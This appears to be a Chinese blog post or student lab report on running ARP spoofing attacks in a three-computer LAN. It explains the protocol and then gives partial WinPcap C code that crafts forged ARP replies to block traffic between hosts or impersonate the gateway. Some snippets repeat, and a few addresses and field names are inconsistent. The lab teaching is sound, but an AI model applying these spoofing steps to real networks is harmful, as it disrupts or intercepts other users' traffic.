局域网内实现ARP攻击

一、ARP工作原理

网络中每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示各主机IP地址和其MAC地址的对应关系。当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐则在发送数据包中设置目的以太网地址和目的IP地址为表中对应地址。

如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。

如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。

当然,若该网段没有目标主机对应的IP地址,则将该数据包发送给该网段的路由器,路由器解析目标IP主机地址,找到目标主机所在网段的路由器,在其网段上进行ARP请求的广播,找到目标主机。

考虑到当前网络中反ARP攻击技术已经非常成熟,例如360安全卫士、WINDOWS防火墙等,故本次作业只在3台电脑组成的局域网内,关掉防火墙进行ARP攻击实验。


二、ARP攻击原理

ARP攻击分为二种,一种是阻断以太网两台主机通信的数据包;另一种是对内网PC的网关欺骗,使被欺骗PC不能联网。

第一种ARP攻击的原理是——阻断主机间通信数据。攻击机首先得获得通信主机IP地址,然后将伪造的MAC地址封装进数据包,回复给源主机,并且按照一定的频率不断进行,使真实的地址信息无法通过更新保存在源主机中。这样,源主机只会将数据包发给伪造的MAC地址,造成正常PC无法收到信息。

第二种ARP攻击的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。


2.1阻断主机间通信

局域网内,一个交换机连接了3台机器,假设依次是计算机A,B,C。

A的IP地址为192.168.1.1

MAC: AA-AA-AA-AA-AA-AA

B的IP地址为192.168.1.2

MAC: BB-BB-BB-BB-BB-BB

C的IP地址为192.168.1.3

MAC: CC-CC-CC-CC-CC-CC

假设主机A要给C发送数据,且主机A的arp缓存表中有主机C的IP-MAC映射表,主机B为攻击机。正常情况下在A计算机上运行arp –a查询ARP缓存表应该出现如下信息: 

接口

192.168.1.1

0xc

Internet 地址

物理地址

类型

192.168.1.3

CC-CC-CC-CC-CC-CC

动态

 

在计算机B上运行ARP攻击程序,来发送ARP欺骗包。B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A不知道被伪造了)。而且A不知道其实是从B发送过来的,A这里只有192.168.10.3(C的IP地址)和无效的DD-DD-DD-DD-DD-DDMAC地址。

欺骗完毕我们在A计算机上运行arp -a来查询ARP缓存信息,原来正确的信息现在已经出现了错误。

接口

192.168.1.1

0xc

Internet 地址

物理地址

类型

192.168.1.3

DD-DD-DD-DD-DD-DD

动态

上面例子中在计算机A上的关于计算机C的MAC地址已经错误了,所以即使以后从A计算机访问C计算机这个192.168.1.3这个地址也会被ARP协议错误的解析成MAC地址为DD-DD-DD-DD-DD-DD的,造成两个主机不能进行通信。


2.2伪造网关

当局域网中一台机器,反复向其他机器,特别是向网关,发送这样无效假冒的ARP应答信息包时,严重的网络堵塞就会开始。由于网关MAC地址错误,所以从网络中计算机发来的数据无法正常发到网关,自然无法正常上网。这就造成了无法访问外网的问题,另外由于很多时候网关还控制着我们的局域网LAN上网,所以这时我们的LAN访问也就出现问题了。


三、ARP攻击程序

平时基于Socket的网络编程,底层的数据帧格式对于用户来说是透明的,若想进行底层网络协议开发,需要自己指定帧数据内容。基于捕获网络数据包并进行分析的开源库WinPcap,在Windows平台上,进行以下任务:捕获原始数据包;在数据包发送给某应用程序前,根据用户指定的规则过滤数据包;将原始数据包通过网络发送出去。


3.1 阻断主机间通信

下载和WinPcap相关的开发包WpdPack,安装WinPcap.exe。C-Free开发环境下,需要导入WpdPack解压目录下的include和lib目录,加入连接库wpcap.lib和 packet.lib。不过调试了半天总是出现ld.exe下找不到wpcap.lib和packet.lib的问题,故直接将lib文件导入工程文件下的Source File文件中,同时将WpdPack的include和lib目录复制到C-Free的安装目录mingw文件夹下的lib和include目录下。

阻断主机间通信的ARP攻击步骤为获取设备列表-选择合适适配器-打开适配器-填写数据帧,并发送数据包。

Ø  获取设备列表

假设攻击机为主机B,所有操作均在主机B上进行。获取设备列表即获取B上可以使用的网络适配器,因为所有的数据都是通过它发送的。可以使用pcap_findalldevs()函数来实现这个功能: 这个函数返回一个pacp_if()结构的链表,其内容包括适配器的名字name和详细描述descrition等信息。其有两个参数,alldevs保存返回的网络适配器的信息, errbuf以字符串的形式保存错误信息。

/* 获得设备列表 */

if (pcap_findalldevs(&alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

exit(1);

}

/* 打印列表 */

for(d= alldevs; d != NULL; d= d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);//打印所有适配器的详细信息

else

printf(" (No description available)\n");

}

if (i == 0)

{

printf("\nNo interfaces found! Make sure WinPcap isinstalled.\n");

return 0;

}

试过之后,在这里选择第一个适配器,因为只有第一个可以捕获数据。


Ø  打开适配器

打开适配器以便进行数据包传送。用到pcap_open_live(a,b,c,d)函数,a表示适配器名字,可通过获取设备列表函数获得,b为捕获数据包中的数据长度,最大MTU为1500,在以太网上只要比它大就行,这里设置为65535,意为能捕捉到完整数据包。

printf("Enterthe interface number (1-%d):",i);

scanf("%d", &inum);

/* 跳转到选中的适配器 */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

/* 打开适配器 */

if ( (adhandle= pcap_open_live(d->name, 65535,1, 1000,errbuf ) )== NULL)

{

fprintf(stderr,"\nUnable to open the adapter. %s is notsupported by WinPcap\n", d->name);

/* 释放设备列表 */

pcap_freealldevs(alldevs);

return -1;

}

Ø  填写数据帧,发送数据包

ARP分组格式长度42字节,以太网最小长度要求为60字节,故需要对每一数据帧末尾填充字符。ARP分组如下格式所示:

以太网目的地址/6

以太网源地址/6

帧类型/2

硬件类型/2

协议类型/2

硬件地址长度/1

协议地址长度/1

Op/2

发送端以太网地址/6

发送端IP地址/4

目的以太网地址/6

目的IP地址4

主机A想和C进行通信,但没有C的ARP缓存表。故先进行全网广播,想找目的IP地址为C的MAC地址,关键ARP分组数据为:

以太网目的地址:111111(全1表示广播)

op设置为1,表示ARP请求

目的IP地址:广播ip地址,192.168.1.255

其余按TCP/IP详解(卷1)来设置,最后要在数据包43~60位填充0。

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 帧类型,0806表示ARP协议 */

packet[12]=0x08;

packet[13]=0x06;

B和C接收到广播数据后,进行IP地址比对,B直接忽略,C回复将自己的MAC地址填充进去,将发送端地址设置为C,目的地址设置为A,op值设置为2,表示ARP请求回复。op值为2时,前12个字节等于分组后面的目的以太网、目的IP地址。

u_char packet[60];

printf("输入被攻击方的MAC地址(如FF-FF-FF-FF-FF-FF则为广播)\n");

scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);

/* 以太网源地址,当然是假的 */

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 帧类型,0806表示ARP协议 */

packet[12]=0x08;

packet[13]=0x06;

在主机A执行arp –a后,会显示C的ip和mac地址。

主机B攻击主机A,将发送端以太网地址设置为DD-DD-DD-DD-DD-DD,发送端IP地址为主机C的IP地址,目的以太网地址和目的IP地址设置为A的,帧类型设置为2,表示ARP请求回复。

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 帧类型,0806表示ARP协议 */

packet[12]=0x08;

packet[13]=0x06;

当A收到B的数据包后,会更新ARP表;在主机A输入arp -a后,主机A的ARP表进行更新,显然是错误信息。由于局域网是利用MAC地址进行数据传输,故主机A查询arp表后,只会把数据传给MAC地址为DD-DD-DD-DD-DD-DD的主机,显然无法正常传输。当把MAC地址改为B的后,数据会传到B这里来,而A认为是一直再给C传。


3.2 伪造网关

和阻断主机间通信一样,若目的IP改为网关IP地址,目的MAC地址改为B的,这样主机A一直给B发送数据,显然上不去网。

你可能感兴趣的:(局域网内实现ARP攻击)